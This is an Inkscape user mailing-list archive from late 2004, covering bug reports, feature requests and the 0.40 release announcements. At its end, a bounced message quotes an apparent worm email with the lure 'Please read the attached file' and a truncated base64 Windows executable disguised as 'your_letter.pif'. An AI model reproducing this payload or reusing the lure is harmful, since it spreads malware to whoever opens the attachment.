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Page splits
by George Farris 10 Dec '04

10 Dec '04

I'm not really a heavy user but I love Inkscape. I have a friend I mentioned Inkscape to and while we were having a look at it he asked if there was a way to split an svg document in pages. Apparently this is something that is of some irritation with some of the other drawing packages. Thanks -- George Farris farrisg@...30... Network and Technical Services Malaspina University-College

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Inkscape 0.40 - error importing AI files
by unknown＠example.com 09 Dec '04

09 Dec '04

When I am importing .AI files this error message appears: ** (inkscape:9542): CRITICAL **: file document.cpp: line 511 (void sp_document_set_uri(SPDocument*, const gchar*)): assertion `document != NULL' failed Pleas help, how can I solve it? I have thousand .AI files which I could open in 0.39. Is downgrade only one solution? (OS: Gentoo unstable, same expirience with self compiled inkscape 0.40cvs and 0.40 stable in Slackware current) Thanks Martin Grohman

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re[3]:
by Shaun Irvin 09 Dec '04

09 Dec '04

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postscript output is rotated 90 degrees?
by Ben Crowell 07 Dec '04

07 Dec '04

bulia byak wrote: >read the discussion there and leave your comments I hope I'm not violating the netiquette for this list by duplicating here what I wrote on sourceforge -- here it is for anyone who is just following the discussion via the mailing list: I'm having a hard time understanding what's been going on in this discussion, so what I say here may be based on a partial or complete misunderstanding. Like dlehn, I am using Inkscape to make images for inclusion in LaTeX, and my images are often wider than they are tall, e.g., 5 cm wide and 3 cm tall. It seems strange to me that Inkscape would, without warning, rotate my image by 90 degrees simply because it's wider than it is tall, but that's what Inkscape 0.40 is doing. This behavior is unexpected and hard to understand -- I had no idea that it was happening because of the proportions of my bounding box. I'm also wondering what, at this point, is considered to be the correct, documented behavior of Inkscape. Is the rotation meant to be a temporary thing until landscape mode is better supported in Inkscape, or is it meant to be something that would be a permanent behavior of Inkscape? I also don't understand what workaround I can use if I don't want the rotation. It seems as though there is no possible way to generate postscript output that is *not* rotated. On the other hand, for someone who *wants* his postscript to print sideways, because there is no other way to fit it on the page, there is a clear workaround: use Inkscape to rotate the picture.

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postscript output is rotated 90 degrees?
by Ben Crowell 07 Dec '04

07 Dec '04

bulia byak wrote: >Yes. Please visit >http://sourceforge.net/tracker/index.php?func=detail&aid=1014460&group_id=9… >read the discussion there and leave your comments. You are welcome to >submit your patch, too. 1. I don't understand the discussion at that URL. Is there any documentation anywhere as to what it considered the correct, expected behavior of inkscape at this point? I came across this bug report earlier, but it didn't seem relevant to me; it seemed to have something to do with explicitly choosing landscape mode in a menu, which I did not do. 2. Perhaps I'm being overly sensitive, but to me, your suggestion that I submit my patch comes off as brusque and dismissive. This is inkscape-user, not inkscape-devel.

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postscript output is rotated 90 degrees?
by Ben Crowell 07 Dec '04

07 Dec '04

After upgrading to 0.40, I have some good news and some bad news about PostScript output. The good news is that the files that I couldn't output with 0.38 can now be output to create valid PS or EPS files. The bad news is that they're rotated 90 degrees counterclockwise! Does anyone understand what's going on here? Here is the SVG file in question: http://www.lightandmatter.com/boat-1.svg When I output it as EPS, and then run it through the standard epstopdf script (I think it comes with tetex, and I think it's just a wrapper around Ghostscript), it's rotated (as viewed in xpdf). I can of course submit this as a bug report on Sourceforge, but I'm wondering if there's something else I'm not understanding here.

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Publishing and Inkscape Portability
by Alex 06 Dec '04

06 Dec '04

Congrats on the progress with Inkscape, many of us Illustrator/Cdraw users are experimenting and following the progress of the project. I have a few comments if anyone is interested (By no means am I a professional GA/GD): 1) I noticed some important features that I use are not fully implemented: object locking and hiding (try unlocking or unhiding an object) and moving objects to different layers (layers is very new already for inkscape). 2) I would like to see as part of a FAQ on using Inkscape amongst Illustrator users. Howto import/export documents between the two and the problems we might have (things to avoid). What format is best (seems EPS and SVG work partially in different ways). 0.40 has ability to save as .ai but gives me an error message on saving so I don't know how good it works. Illustrator has heaps of options to save/export files - anyone worked out which work best? I will share anything i discover on the way. 3) The FAQ could also give suggestion on preperation of documents for printing (professional printers that is) ie. text convert to outlines, colour/file formats usually preferred etc etc. It seems printing and exporting as bitmap avoids loss of my effects (transperancies etc). Printing postscript doesn't work too well in that respect. Alex

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NEW: Tile clones
by bulia byak 06 Dec '04

06 Dec '04

Before getting deep into the boring stuff planned for 0.41, I decided to do some eye candy... http://inkscape.org/screenshots/gallery/inkscape-0.41-CVS-linux-tiles1.png http://inkscape.org/screenshots/gallery/inkscape-0.41-CVS-linux-tiles2.png * The new powerful "Tile clones" dialog implements all 17 plane symmetry groups, allowing you to easily create all sorts of symmetric patterns, Escher-like tesselations, ornaments, etc. Since the pattern is made out of clones, you can freely edit the original tile and the entire pattern is updated live. This feature puts Inkscape into competition with software such as the free Arabeske or commercial SymmetryWorks. ** Apart from selecting the symmetry (and uniquely to Inkscape), you can also set the shift, scale, rotation, and opacity of the clones in the pattern, per row and/or per column. Any of these parameters can also be randomized to any degree. This produces "object fields" that can be arbitrarily distorted, skewed, slanted, "faded out," or "magnetized" like iron particles in a magnetic field. ** To create a clone pattern, simply select something, set the number of rows and columns, and click Create. You can then change some parameters in the dialog and click Create again; this will remove any existing tiled clones of the selected object and recreate the pattern anew. Or, you can just remove the old pattern by clicking Remove. To protect a pattern from deletion by this dialog, group it or move it to another layer. ** Initially, a pattern is created based on the bounding box of the selected object. For symmetries that involve rotation to an angle other than 180 degrees, the rotation point is usually in the middle of the right-hand side of the bbox. After the pattern is created, resizing the original tile does not move the clones away, so you can make the tiles overlap. Also, when the pattern is created, the current bbox of the original tile is remembered; later, if the "Use saved tile bbox" checkbox is on, the same bbox will be used when you click Create again, which means you can vary the pattern parameters without losing the overlapping of the tiles. ** It's best to use a group as the original object for tiling, because you can then enter this group (right-click, "Enter group") and draw inside it. Any changes or new objects added to the group will show in the pattern immediately.

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re [11]:
by Elnora Chapman 06 Dec '04

06 Dec '04

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wireframe preview?
by volvoguy 06 Dec '04

06 Dec '04

If there's a way to view a wireframe version of a complex graphic, I haven't found it yet in Inkscape. This seems to me a very common feature in vector graphics editors. If it's not possible now, is the bugzilla the best place to make feature requests? :o) Thanks! -- Aaron Ubuntu SVG Artwork - www.volvoguy.net/ubuntu ------------------------------------------------------------------------------- Art, like morality, consists of drawing the line somewhere. ~ G.K. Chesterton

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by Extensis Support 06 Dec '04

06 Dec '04

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Re: your blog for the gimp gradient editor
by Ted Gould 06 Dec '04

06 Dec '04

On Sat, 2004-12-04 at 19:15 -0500, seval wrote: > the gradient editor for gimp gradients. fails to show actually > how gradients are imported. just import does not seem to work. just > wanted to let you know, and, if I could please know. this seems like > an amazing feature that I would like to make use of very soon. thanks. Well, one of the issues is that the importer doesn't 'show' you anything. Actually the gradient gets imported, but there isn't an object with that gradient on it. If you go to the fill & stroke dialog, you can add it to a shape by clicking on the gradient for the fill or stroke of any object on your canvas. Bulia and I have been talking about ways to make this more obvious -- hopefully it will be more user friendly in the next Inkscape release. --Ted

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RPM build errors
by Jonathan Leighton [Turnip] 04 Dec '04

04 Dec '04

Hi, I've tried to build an RPM of Inkscape 0.40 on FC3, but I keep getting an error: RPM build errors: Installed (but unpackaged) file(s) found: /usr/lib/inkscape/plugins/libgimpgrad.a /usr/lib/inkscape/plugins/libgimpgrad.la /usr/lib/inkscape/plugins/libgimpgrad.so.0.0.0 Anyone know what that means? Also, if and when I build it, who should I send it to so that they can upload it on SourceForge? Cheers -- Regards, Jonathan Leighton [Turnip] Get Thunderbird - Reclaim Your Inbox http://www.mozilla.org/products/thunderbird

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Firefox 1.0 Linux on Gentoo has SVG plugin installed by default!!!!!!!!
by Jon Phillips 03 Dec '04

03 Dec '04

Hello all, I just opened an svg file by accident in Firefox 1.0 just to find that it displayed properly in my browser!!! Upon closer inspection I thought that I had setup svg to display in inkview, but no, I looked in the MozillaFirefox plugin folder and found these: -rw-r--r-- 1 root root 5632 Nov 18 04:20 libmozsvgdec.a -rwxr-xr-x 1 root root 1368 Nov 18 04:20 libmozsvgdec.la -rwxr-xr-x 1 root root 8536 Nov 18 04:20 libmozsvgdec.so Thus, could you all check to see if the Mozilla SVG is provided with your Firefox 1.0 install? I am ecstatic with joy if this is installed by default on all Firefox 1.0 browsers, because that means we now have penetration into the world with SVG. I have just ruled out that I built my Gentoo install of Firefox with SVG, as it is not an option. Thus, the gentoo ebuild builds the SVG plugin by default. Hmmm...if you all could report if you have the SVG plugin on your install, it would be great to know to promote via our website. In the end, we have to consider that our app's usefulness will scale dramatically if SVG is adopted by more user's. As of now we are using more as a meta-format not much unlike Illustrator using AI as a default format for creating illustrations. With viewing of SVG files on the web, so much more will be possible. Jon -- Jon Phillips (NEW) USA PH 510.499.0894 jon@...87... http://www.rejon.org Inkscape (http://inkscape.org) Open Clip Art Library (www.openclipart.org) CVS Book (http://cvsbook.ucsd.edu) Scale Journal (http://scale.ucsd.edu)

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by Extensis Support 03 Dec '04

03 Dec '04

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Article: Introducing Inkscape 0.40
by Bryce Harrington 02 Dec '04

02 Dec '04

The article about Inkscape is now live on OS News: http://osnews.com/story.php?news_id=9049 Also, we got picked up on LWN: http://lwn.net/Articles/113513/ And Footnotes: http://gnomedesktop.org/node/2062 Bryce

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Undoing insensitive
by Jozsef Mak 02 Dec '04

02 Dec '04

If you make an object in inkscape insensitive how do you make it back into sensitive again? I am unable to figure this out. jozsefmak

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Problem compiling inkscape
by Jozsef Mak 01 Dec '04

01 Dec '04

Hi I am trying to build inkscape 0.40 on Ubuntu from source and during the configuration run i get the message error: Cannot find freetype-config What is freetype-config and how to solve this problem j.mak

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RE: [Inkscape-user] Inkscape Release 0.40 Now Available
by Landon Blake 01 Dec '04

01 Dec '04

Bryce, I tried several of the 0.40 release packages, but I did not find a Windows Executable file. Is there a .exe available for the 0.40 release yet? Thanks for all the hard work. The Sunburned Surveyor -----Original Message----- From: inkscape-user-admin(a)lists.sourceforge.net [mailto:inkscape-user-admin@lists.sourceforge.net]On Behalf Of Bryce Harrington Sent: Sunday, November 28, 2004 10:35 PM To: inkscape-devel@...84... Cc: inkscape-user@...84... Subject: [Inkscape-user] Inkscape Release 0.40 Now Available The official 0.40 tarball is now posted, and is available for download here: http://sourceforge.net/project/showfiles.php?group_id=93438 The Release Notes describing the changes are available here: http://inkscape.org/cgi-bin/wiki.pl?ReleaseNotes At this time we are requesting all packagers to create and post packages for the release. Formal announcements for the release will be delayed until Monday evening in order to give a little time for packages to be created and tested. We are also encouraging everyone to assist with the PR push to get word out about this release. If you're interested in writing an article on a topic related to Inkscape, this would be an excellent time to do so. Bryce ------------------------------------------------------- SF email is sponsored by - The IT Product Guide Read honest & candid reviews on hundreds of IT Products from real users. Discover which products truly live up to the hype. Start reading now. http://productguide.itmanagersjournal.com/ _______________________________________________ Inkscape-user mailing list Inkscape-user(a)lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/inkscape-user

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Announcing Inkscape 0.40 Release
by Bryce Harrington 30 Nov '04

30 Nov '04

= Inkscape 0.40 = 'Draw Freely' http://www.inkscape.org/ The Inkscape community is proud to announce the release 0.40 of Inkscape, "A Cross-platform Open Source Vector Graphics (SVG) Drawing Tool." This release includes three majorly requested new capabilities: Layers, Text-on-Path, and Bitmap tracing. In addition, there are many minor features, a number of usability enhancements, three new tutorials, and hundreds of bug fixes. This is by far the most feature-packed release the project has had. This is all due to the strong developers that have contributed countless hours on Inkscape 0.40. Following our last release four months ago, we have focused intensively on development, adding several new dependencies such as the Boehm garbage collector and the stable Gtk 2.4 libraries. Because of this, user's may encounter more trouble getting Inkscape installed on some platforms than in previous releases. To help those who run into this issue, we're also providing 'Static Binary' packages that include these new libraries inside the package, and thus, the static releases are very large. Download your packages: http://sourceforge.net/project/showfiles.php?group_id=93438 For many more details, see the Release Notes for 0.40: http://www.inkscape.org/cgi-bin/wiki.pl?ReleaseNotes040 Community submitted screenshots: http://www.inkscape.org/screenshots/

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Re: [Inkscape-user] Feature request
by Claus Cyrny 30 Nov '04

30 Nov '04

> Date: Sun, 28 Nov 2004 18:29:31 -0800 (PST) > From: Bryce Harrington <bryce@...69...> > To: inkscape-user(a)lists.sourceforge.net > Subject: Re: [Inkscape-user] Feature request > Reply-To: inkscape-user(a)lists.sourceforge.net > > On Sun, 28 Nov 2004, Aaron Spike wrote: > > Claus Cyrny wrote: > > > 1. The possibility to repeat patterns (x times) > > > along a circle (path). > > I was just thinking that this would be cool 2 days ago. I was drawing a > > sun shaped logo and wanted to repeat the rays as clones around a circle > > every 15 degrees. > > > > > 2. The possibility to store color values somewhere. > > A palette of colors would be wonderful. It would also be great to store > > gradients as in the GIMP. > > > > I agree. > > > > Aaron Spike > > These are both good ideas - please add them to the Feature Request > tracker on the website, if they've not already been added. If they have > been added, please elaborate on them with some of your thoughts as to > how they should work, etc. > > Thanks, > Bryce Done! ;-) Claus -- http://home.arcor.de/ccyrny/

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Inkscape Release 0.40 Now Available
by Bryce Harrington 30 Nov '04

30 Nov '04

The official 0.40 tarball is now posted, and is available for download here: http://sourceforge.net/project/showfiles.php?group_id=93438 The Release Notes describing the changes are available here: http://inkscape.org/cgi-bin/wiki.pl?ReleaseNotes At this time we are requesting all packagers to create and post packages for the release. Formal announcements for the release will be delayed until Monday evening in order to give a little time for packages to be created and tested. We are also encouraging everyone to assist with the PR push to get word out about this release. If you're interested in writing an article on a topic related to Inkscape, this would be an excellent time to do so. Bryce

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29 Nov '04

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Feature request
by Claus Cyrny 29 Nov '04

29 Nov '04

Hi, while working with Inkscape (0.39) over the last weeks, I realized that I am still missing a few features: 1. The possibility to repeat patterns (x times) along a circle (path). 2. The possibility to store color values somewhere. Otherwise, Inkscape is really marvellous (the most intuitive vector program I have used so far). Keep up the good work! Claus -- http://home.arcor.de/ccyrny/

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Final release candidate for Inkscape 0.40
by Bryce Harrington 28 Nov '04

28 Nov '04

Hi All, Tonight we are entering the 'Hard Freeze', the very last phase before the final tagging and branching of 0.40, which is planned for tomorrow evening. Ted has created the final release candidate, 0.40pre5, which is now available from the website. Testing is essentially complete, however we're encouraging people to give the release a quick review. We're looking for silly mistakes like forgetting to update the version number, packaging problems, and major show-stopper bugs. But also add anything else you find to the bug tracker, and we can sort those issues out during the next development cycle. During this Hard Freeze phase, we're going to let the dust settle a bit, do a once-over, and then proceed with packaging and delivering the release. As with all prior releases, once it's cut we need to switch into marketing mode, in order to get the word out. This is where Inkscape users can make a big contribution. We want to get word out on all the major blogs, articles into relevant online magazines, and word of mouth to friends and family. Stay tuned. :-) Bryce >From MAILER-DAEMON Sun Nov 28 04:17:38 2004 Date: Sun, 28 Nov 2004 12:32:08 +0000 Message-Id: <10411281232.AA16385605@...340...> Mime-Version: 1.0 From: "Postmaster" <postmaster@...340...> To: <inkscape-user(a)lists.sourceforge.net> X-Mailer: <SMTP32 v8.14> X-Spam-Score: -3.7 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 LARGE_HEX BODY: Contains a large block of hexadecimal code -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [Inkscape-user] Undeliverable Mail Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit undeliverable to admin@...339... Original message follows. Received: from cmr.ca [82.151.69.97] by ntm3.kookiejar.net with ESMTP (SMTPD32-8.14) id A54022C500FA; Sun, 28 Nov 2004 12:32:00 +0000 From: inkscape-user(a)lists.sourceforge.net To: gelinas@...339... Subject: Re: Your letter Date: Sun, 28 Nov 2004 13:16:56 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_00004598.000042B0" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <200411281232912.SM00195@...339...> This is a multi-part message in MIME format. ------=_NextPart_000_0013_00004598.000042B0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0013_00004598.000042B0 Content-Type: application/octet-stream; name="your_letter.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_letter.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated]

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